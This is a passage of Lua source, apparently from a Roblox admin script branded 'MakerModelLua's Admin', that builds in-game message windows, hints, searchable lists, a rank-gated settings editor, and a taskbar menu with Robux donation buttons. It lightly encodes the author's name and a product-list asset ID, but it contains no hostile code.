4062
4063 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
4064 local TextColor = GUI:GetColor(MessageSplit[1])
4065 if TextColor then BodyText = MessageSplit[2] end
4066 BodyText = string.sub(STRING:FormatReplace(Player, BodyText, Speaker or Player),1,1000)
4067
4068 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
4069 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
4070
4071 if Frame then
4072 local FormBar = Frame.Parent.Parent.FormBar
4073 local Said = false
4074 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
4075 if Settings.EnableTaskBar then
4076 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
4077 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
4078 else
4079 Speak.Position = UDim2.new(1, -58, 0, 5)
4080 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
4081 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
4082 end
4083 CORE:HandleEvent(Speak, "MouseButton1Down", function()
4084 if not Said then
4085 Said = true
4086 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
4087 end
4088 end)
4089
4090 if TextColor then
4091 Body.TextColor3 = TextColor
4092 else
4093 Body.TextColor3 = Color3.new(1,1,1)
4094 end
4095
4096 if tonumber(Time) then coroutine.wrap(function()
4097 if AutoTime then
4098 Time = Time + math.floor(#BodyText/7)
4099 end
4100 local Alive = true
4101
4102 local function StopTimer() Alive = false end
4103 Closed.Event:connect(StopTimer)
4104 Minimized.Event:connect(StopTimer)
4105
4106 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4107 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4108 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
4109 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
4110 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
4111 for i = Time,0,-1 do
4112 for ii = 1,10 do
4113 if Alive == true then
4114 Ticker.Text = i
4115 wait(0.1)
4116 else
4117 break
4118 end
4119 end
4120 end
4121 if Alive == true then
4122 Close:Invoke()
4123 else
4124 Ticker:Destroy()
4125 Stop:Destroy()
4126 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
4127 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
4128 end
4129 end)() end
4130
4131 CORE:ExecuteResource("CalculateScrollY", Body)
4132 end
4133end
4134
4135function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
4136 if not Player then return nil end
4137 if not Player:IsA("Player") then return nil end
4138 if BodyText == "" then return nil end
4139 if not Player:FindFirstChild("PlayerGui") then return nil end
4140 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
4141 local TextColor = GUI:ContrastColor()
4142 if Error then TextColor = Color3.new(1,0,0) end
4143
4144 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
4145 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
4146
4147 CORE:ExecuteResource("CalculateScrollY", Body)
4148
4149 return Frame, Close, Closed, Minimize, Minimized
4150end
4151
4152function GUI:SendHint(Player, Text, Time, Speaker) coroutine.wrap(function()
4153 Text = STRING:FormatReplace(Player, string.sub(Text,1,100), Speaker)
4154 local TweenTime = 0.5
4155 if not Time then Time = 5 end
4156 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
4157 local MaxPos = -1
4158 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
4159 local IVal = SGObj:FindFirstChild("Index")
4160 if IVal then
4161 MaxPos = math.max(MaxPos, IVal.Value)
4162 end
4163 end
4164 MaxPos = MaxPos + 1
4165 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
4166 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
4167 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
4168 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
4169 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
4170 SG.Parent = Player.PlayerGui
4171
4172 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
4173 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
4174
4175 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
4176 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
4177 Delay(TweenTime, function()
4178 for i = 1,0,-0.1 do
4179 Body.TextTransparency = i
4180 wait()
4181 end
4182 Body.TextTransparency = 0
4183 end)
4184 Delay(TweenTime + Time, function()
4185 for i = 0,1,0.1 do
4186 Body.TextTransparency = i
4187 wait()
4188 end
4189 Body.TextTransparency = 1
4190 local Done = false
4191 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() Done = true end)
4192 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() repeat wait() until Done SG:Destroy() end)
4193 end)
4194
4195end)() end
4196
4197function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
4198 if not Player then return nil end
4199 if not Player:FindFirstChild("PlayerGui") then return nil end
4200 if not PreSearch then PreSearch = "" end
4201 if AutoNumber == nil then AutoNumber = true end
4202
4203 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
4204 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
4205 SearchBar.Parent = Frame.Parent
4206 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
4207 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
4208
4209 local SearchVer = 0,nil
4210 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
4211 local RequestDialog = Instance.new("BindableFunction", Frame) RequestDialog.Name = "RequestDialog"
4212 local InDialog = false
4213
4214 local function ShowResults(Key)
4215 SearchVer = SearchVer + 1
4216 local ThisSearchVer = SearchVer
4217
4218 if type(ScrollScript) == "userdata" then ScrollScript.Disabled = true ScrollScript:Destroy() end
4219 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
4220
4221 local NumPos,Num = 0,1
4222
4223 for _,Data in pairs(List) do
4224 if ThisSearchVer ~= SearchVer then
4225 break
4226 end
4227 local String = tostring(Data)--STRING:DetermineFilter(tostring(Data), Player, Player)
4228 if String then
4229 local ImageIcon = nil
4230 if type(Data) == "table" then
4231 String = Data[1]
4232 ImageIcon = Data[2]
4233 end
4234
4235 local TextColor = GUI:ContrastColor()
4236 local StringSplit = STRING:GetSplit(String, 1, " ")
4237 local NewColor = GUI:GetColor(StringSplit[1])
4238 if NewColor then TextColor = NewColor String = StringSplit[2] end
4239
4240 if string.find(string.lower(String), string.lower(Key)) then
4241 Spacer = false
4242 local Font = Settings.Font
4243 local Split = STRING:GetSplit(String, 1, " ")
4244 if string.sub(string.lower(String),1,6) == "bold: " then
4245 Font = "ArialBold"
4246 String = string.sub(String,7)
4247 elseif Fonts[Split[1]] then
4248 Font = Split[1]
4249 String = Split[2]
4250 end
4251 if string.sub(String,1,2) == "--" then
4252 Spacer = true
4253 end
4254 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4255 if ImageIcon then
4256 if tonumber(ImageIcon) then
4257 ImageIcon = "rbxassetid://"..ImageIcon
4258 elseif Icons[ImageIcon] then
4259 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4260 end
4261
4262 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4263 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4264 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4265 Content.Text = ""
4266 NumPos = NumPos + 90
4267 else
4268 NumPos = NumPos + 30
4269 end
4270
4271 if not Clickable then
4272 Content.AutoButtonColor = false
4273 Content.Active = false
4274 Content.BackgroundTransparency = 1
4275 elseif ClientInfo[Player.Name] and not ClientInfo[Player.Name].TouchScreen then
4276 SOUND:BindButton(Content)
4277 CORE:HandleEvent(Content, "MouseButton1Down", function()
4278 if not InDialog then
4279 Clicked:Fire(String)
4280 end
4281 end, true)
4282 end
4283 if Spacer == false then Num = Num + 1 end
4284 end
4285 end
4286 end
4287 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4288 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4289 end
4290
4291 RequestDialog.OnInvoke = function(RequestDialogCall)
4292 InDialog = RequestDialogCall
4293 end
4294
4295 ShowResults(PreSearch)
4296
4297 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4298 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4299 if Prop == "Text" then
4300 local Text = CORE:ReadProperty(RPR, Player, "Text")
4301 ShowResults(Text)
4302 Frame.CanvasPosition = Vector2.new(0,0)
4303 end
4304 end)
4305
4306 return Clicked, RequestDialog, Close
4307end
4308
4309function GUI:PropertyGui(Player, Title, Icon, Properties)
4310 if not Player then return nil end
4311 if not Player:FindFirstChild("PlayerGui") then return nil end
4312 if type(Properties) ~= "table" then return nil end
4313 local HasClosed = false
4314 local NewProperties = {}
4315
4316 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4317 Frame.ClipsDescendants = true
4318 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4319
4320 for PropertyName,Data in pairs(Properties) do
4321 NewProperties[PropertyName] = Data[1]
4322 end
4323
4324 local YCount = 0
4325
4326 for PropertyName,Data in pairs(Properties) do
4327 if type(Data) == "table" then
4328 local DefaultValue = Data[1]
4329 local Writable = Data[2]
4330 local ValueType = Data[3]
4331
4332 if Writable == nil then Writable = false end
4333 if type(ValueType) == "string" then -- now this is confusing
4334 ValueType = string.lower(ValueType)
4335 elseif ValueType == nil then
4336 ValueType = type(DefaultValue)
4337 end
4338
4339 if ValueType == "nil" or ValueType == "userdata" then
4340 ValueType = nil
4341 elseif ValueType == "table" then
4342 DefaultValue = STRING:UnpackArgs(DefaultValue)
4343 ValueType = "string"
4344 end
4345
4346 if ValueType then
4347 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4348 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4349 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4350
4351 if ValueType == "string" or ValueType == "number" then
4352 if Writable == true then
4353 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4354 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4355 if ValueType == "number" then
4356 NewProperties[PropertyName] = tonumber(Input.Text)
4357 else
4358 NewProperties[PropertyName] = tostring(Input.Text)
4359 end
4360 end end)
4361 else
4362 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4363 end
4364 end
4365 if ValueType == "boolean" then
4366 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4367 if DefaultValue == true then
4368 Check.Image = "rbxassetid://48138491"
4369 end
4370 if Writable == true then
4371 CORE:HandleEvent(Check, "MouseButton1Down", function()
4372 local NewVal = not NewProperties[PropertyName]
4373 NewProperties[PropertyName] = NewVal
4374 if NewVal == true then
4375 Check.Image = "rbxassetid://48138491"
4376 else
4377 Check.Image = "rbxassetid://48138474"
4378 end
4379 end)
4380 else
4381 Check.ImageTransparency = 0.5
4382 end
4383 end
4384 YCount = YCount + 50
4385 end
4386 end
4387 end
4388
4389 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4390
4391 Closed.Event:connect(function() HasClosed = true end)
4392
4393 repeat wait(0.1) until HasClosed
4394 return NewProperties
4395end
4396
4397function GUI:SettingsGui(Player)
4398 if not Player then return nil end
4399 local CloneViewSettings,CanChange = {},false
4400
4401 local ViewSettings = {
4402 ["Version"] = {CORE.Version.Value, false, nil};
4403 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4404 ["Font"] = {Settings.Font, 3, "Font"};
4405 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4406 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4407 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4408 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4409 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4410 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4411 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4412 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4413 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4414 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4415 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4416 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4417 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4418 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4419 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4420 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4421 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4422 ["Bet"] = {Settings.Bet, 3, "Bet"};
4423 }
4424
4425 local _,RankNum = RANK:GetRank(Player)
4426 if RankNum >= 3 then
4427 CanChange = true
4428 end
4429
4430 for Prop,Data in pairs(ViewSettings) do
4431 local Writable = false
4432 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4433 CloneViewSettings[Prop] = {Data[1], Writable}
4434 end
4435
4436 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4437 if CanChange then
4438 for Prop,Data in pairs(ViewSettings) do
4439 if Data[3] then
4440 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4441 end
4442 end
4443 CORE:FixSettings()
4444 end
4445end
4446
4447function GUI:MessageAdmins(TitleText, BodyText, Icon)
4448 for _,Player in pairs(Server.Players:GetPlayers()) do
4449 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4450 if PlayerAdmin then
4451 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4452 end
4453 end
4454end
4455
4456function GUI:TellAdmin(Player)
4457 if not Player then return end
4458
4459 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4460 if ValidAdmin == true then
4461 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4462 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4463 local SoundID = 237866523
4464 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4465 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4466 Sound:Play()
4467 coroutine.wrap(function()
4468 wait(4)
4469 Sound:Stop()
4470 Sound:Destroy()
4471 end)()
4472 end
4473 end
4474end
4475
4476function GUI:TellNotAdmin(Player)
4477 if not Player then return end
4478
4479 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4480end
4481
4482function GUI:CreateTaskBar(Player)
4483 if not Player then return nil end
4484 if Settings.EnableTaskBar == false then return nil end
4485 Player:WaitForChild("PlayerGui")
4486 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4487 if SG then SG:Destroy() end
4488 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4489 local IsMoving = false
4490 local TaskBarShown = false
4491 local Tasks = {}
4492
4493 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4494 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4495
4496 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4497 local Open,CloseForm = false,nil
4498 if Settings.EnableAdminMenu then
4499 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4500 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4501 if Open == false then
4502 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4503 Open,CloseForm = true,Close
4504
4505 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4506 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4507 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4508 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4509 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4510 local function DonateMoney(Type, Element)
4511 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4512 local Get = Request[Type]
4513 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4514 Server.MPS:PromptPurchase(Player, Get[1], true)
4515 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4516 Server.MPS:PromptPurchase(Player, Get[2], true)
4517 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4518 Server.MPS:PromptPurchase(Player, Get[3], true)
4519 else
4520 Element.Text = "Cannot get request"
4521 end
4522 end
4523 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4524 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4525 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4526 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4527 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4528 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4529
4530 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4531
4532 if Closed then
4533 Closed.Event:connect(function()
4534 Open = false
4535 end)
4536 end
4537 else
4538 CloseForm:Invoke()
4539 end
4540 end) end)()
4541 if RANK:GetRank(Player) == "Owner" then
4542 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4543 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4544 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4545 if HUDSG then
4546 HUDSG:Destroy()
4547 else
4548 GUI:CreateHUD(Player)
4549 end
4550 end)
4551 end
4552 end
4553
4554 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4555 if IsMoving == false then
4556 if TaskBarShown == true then
4557 TaskBarShown = false
4558 IsMoving = true
4559 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4560 else
4561 TaskBarShown = true
4562 IsMoving = true
4563 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4564 end
4565 end
4566 end)
4567
4568 local function ReloadIcons()
4569 for Num,Data in pairs(Tasks) do
4570 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4571 end
4572 end
4573
4574 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4575 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4576 table.insert(Tasks, {Form, Icon})
4577 local CanClick = true
4578 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4579 if Form.IsActive.Value == false then
4580 Restore:Invoke()
4581 elseif CanClick == true then
4582 coroutine.wrap(function()
4583 CanClick = false
4584 local DefPos = Form.Dragger.Position
4585 for i = 1,15 do
